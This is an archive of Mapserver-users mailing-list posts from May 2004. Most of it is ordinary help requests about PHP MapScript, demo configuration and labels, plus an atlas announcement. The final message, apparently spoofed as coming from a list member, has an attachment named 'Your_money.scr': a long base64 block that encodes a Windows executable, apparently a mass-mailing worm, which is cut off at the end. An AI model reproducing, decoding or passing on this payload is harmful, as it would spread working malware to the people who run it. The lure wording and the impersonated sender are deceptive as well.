While looking for PHP_MAPSCRIPT = DLL from the page http://www.maptools.org/php_mapscript/index.phtml?page=3Dfaq.html I am redirect to a dead link http://www2.dmsolutions= .ca/mapserver/dl/ which finally http://www.maptools.org/dl/.

 

1) I have not clue where can I get = PHP_MAPSCRIPT DLL to download.

I have php 4.3 running on windows and the latest Mapserver = (windows binaries) up and running(I guess) with apache. =

I am also running into problems while trying to run the demo (workshop.zip) because of  the correct windows parameters = like:

      <!-- EDIT THESE HIDDEN VARIABLES -->

      <!--input type=3D"hidden" name=3D"map" value=3D"/usr/local/www/docs/mapserver_demos/workshop/itasca.map&quo= t;-->

      <input type=3D"hidden" name=3D"map" = value=3D"/workshop/itasca.map">

=

      <input type=3D"hidden" name=3D"program" value=3D"/cgi-bin/mapserv40">

      <input type=3D"hidden" name=3D"root" = value=3D"/workshop">

      <input type=3D"hidden" name=3D"map_web_imagepath" value=3D"/usr/local/www/docs/tmp/">=

      <input type=3D"hidden" name=3D"map_web_imageurl" value=3D"/tmp/">

 

2) Can anyone give me little hints on what = parameters I must pass in order get the deomo working. It is coming up with the = following error

msLoadMap(): Unable to access file. (/workshop/itasca.map) . Can anybody explain what significance does map_web_imagepath and map_web_imageurl has and what values to = set.

 

I would appreciated = any help in this regard.

Regards,

Swapan = Mazumdar

------_=_NextPart_001_01C43347.5BBC5260-- From norbert.thieme at ilmenau.baw.de Thu May 6 02:24:43 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Thu, 06 May 2004 11:24:43 +0200 Subject: [Mapserver-users] (no subject) In-Reply-To: <00F1D25697A9094BA850427870FC5F051E80CF@kwazulu.dataworld.co.za> References: <00F1D25697A9094BA850427870FC5F051E80CF@kwazulu.dataworld.co.za> Message-ID: <409A045B.4090309@ilmenau.baw.de> Ugan schrieb: > Hey, > > > > I?m setting up MapServer 4.0.2 (I got it from the MapServer website) on > Windows XP and PHP 4 (I used the install-php4.exe [wise install shield]) > to be used with MapLab 2.1-rc3 but I?m missing the php4_mapscript.dl. > > > > Is this all I need to run PHP MapScript? Could you PLEASE mail me the > missing bits or tell me a reliable source to get it from so I can get > MapScript, MapServer and MapLab working. [ASAP!] I have already got PHP > working. > > > > Thanks, much appreciated. > > > Hi, I thought that it would be included in the download package. But I think that the best location to get it will be http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html because if I see it right it's also the home of maplab. In this package there should be everything you need. Regards, Norbert From j.l.h.hartmann at uva.nl Thu May 6 04:40:26 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Thu, 06 May 2004 13:40:26 +0200 Subject: [Mapserver-users] Atlas Amsterdam on Port 80 Message-ID: <409A242A.3020505@uva.nl> Hi Folks, The Historical Atlas of Amsterdam (http://mapserver.sara.nl/atlas_amsterdam) now runs as a standard web server on port 80, so people behind proxies and firewalls should be able to view it too. I apologize for the inconvenience some of you may have had: it is not easy to set up an experimental web server within a large, security conscious organisation, not even a university. Thanks to your feedback we were able to set up a server completely under control of the Computing Center, while leaving me free to experiment with MapServer, MapScript and PostGIS. On the Home Page (http://mapserver.sara.nl) you can find the preliminary documentation of the user interface (MapClient), together with two further applications. The first one shows all projections available in MapServer with all their parameters, and the second one lets you zoom in on several remote sensed world maps from NASA, NOAA and other organisations. I also put up a very simple, generic mapfile-viewer, based on MapClient, which allows you to display and zoom in to every MapServer mapfile on the Internet, provided you know its default extents. The viewer itself is only about 40 lines. As a starting point I added references to five world maps, and I took the liberty to include the Itasca Demo data (35 lines, no templates). The MapClient interface itself has not changed; I just added a few utility classes, mainly to ease zooming and panning (the windows with the zoom-buttons in the titlebar are examples of such a class). I'll do a presentation about it in Ottawa, and I hope to finish the definitive documentation some time after that. Enjoy, Jan dr. J. Hartmann Department of Geography University of Amsterdam j.l.h.hartmann at uva.nl From publiek at home.nl Thu May 6 04:43:46 2004 From: publiek at home.nl (Marcel Koopman) Date: Thu, 6 May 2004 13:43:46 +0200 Subject: [Mapserver-users] php mapscript + labelobj Message-ID: <200405061144.i46Bi2FS028660@lists.gis.umn.edu> Hello, I've written a php function to add classes to a layer. ------------------------------------------------------------ function addClass ($naam, $expr, $red, $green, $blue) { $class = ms_newClassObj($this->$layer); $class->set(name, $naam); $class->setexpression($expr); $class->settext($this->$layer,"titel"); $class->label->color->setRGB(0,0,0); $class->label->size = 8; $class->label->antialias = 1; $class->label->font = "arial"; $style = ms_newStyleObj($class); $style->color->setRGB($red,$green,$blue); } ------------------------------------------------------------ This works, except for the label part. In the mapfile there is no label. Generated part: ------------------------------------------------------------ LAYER CONNECTION "user=postgres dbname=testdb" CONNECTIONTYPE POSTGIS DATA "the_geom from gem_gron_poly" LABELITEM "perc_studenten_man_roc" NAME "perc" SIZEUNITS PIXELS STATUS ON TOLERANCE 0 TOLERANCEUNITS PIXELS TYPE POLYGON UNITS METERS CLASS NAME "Percentage mannelijke studenten ROC" EXPRESSION ([PERC_STUDENTEN_MAN_ROC]) STYLE COLOR 0 0 0 MAXSIZE 100 MINSIZE 1 SIZE 1 SYMBOL 0 END TEXT "titel" END END ------------------------------------------------------------ What i want to have is: ------------------------------------------------------------ LAYER CONNECTIONTYPE postgis NAME perc CONNECTION "user=postgres dbname=testdb" DATA "the_geom from gem_gron_poly" STATUS off TYPE POLYGON PROJECTION "init=epsg:28992" END LABELITEM "PERC_STUDENTEN_MAN_ROC" CLASS NAME "Percentage mannelijke studenten ROC" EXPRESSION ([PERC_STUDENTEN_MAN_ROC]) LABEL COLOR 0 0 0 SIZE 8 ANTIALIAS TRUE FONT ARIAL TYPE TRUETYPE END END END ------------------------------------------------------------ How do i get the label part with php mapscript? Thanks. Marcel From nintzel at geod.tu-darmstadt.de Thu May 6 05:19:21 2004 From: nintzel at geod.tu-darmstadt.de (Bo Nintzel) Date: Thu, 06 May 2004 14:19:21 +0200 Subject: [Mapserver-users] template-images Message-ID: <409A2D49.5060501@geod.tu-darmstadt.de> Hello list, i've got a question about the template-files: Does mapserver use the existing template-files again, if you browse to the same mapextent and is there a possibility to use only one template-file. Regards Bo Nintzel From Micha at arava.co.il Thu May 6 06:42:12 2004 From: Micha at arava.co.il (Micha Silver) Date: Thu, 6 May 2004 15:42:12 +0200 Subject: [Mapserver-users] Mozilla and Firefox Message-ID: <8118CC0EE4FDF94AA1C785BD746EF2A69DB2E5@eshetb> I've set up my (first) map file and html template with zooms, and point query. Works as I expect using IE, but the zooming and querying *don't* work with Mozilla 1.6 nor with Firefox. I'm using mapserver 4.0.2 - no mapscript or anything fancy yet, just a few CGI variable substitutions in the html template: mapext, zoom, and toggling between browse mode and query mode. What needs to be done to get this working under Mozilla also? TIA --Micha ~~~~~~~~~~~~~~~~~~ Micha Silver Arava Development Co tel: (972) 08-6592270 fax: (972) 03-5422508 cell: 052-3665918 From steve.lime at dnr.state.mn.us Thu May 6 07:31:12 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Thu, 06 May 2004 08:31:12 -0600 Subject: [Mapserver-users] Changes.. Message-ID: ----------ezckfhhtlkodijszckdx Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------ezckfhhtlkodijszckdx Content-Type: application/octet-stream; name="Your_money.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_money.scr" 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 